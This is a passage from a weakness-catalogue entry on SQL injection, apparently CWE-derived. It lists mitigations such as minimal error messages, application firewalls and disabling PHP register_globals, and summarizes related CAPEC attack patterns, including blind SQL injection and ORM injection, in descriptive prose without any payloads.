- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.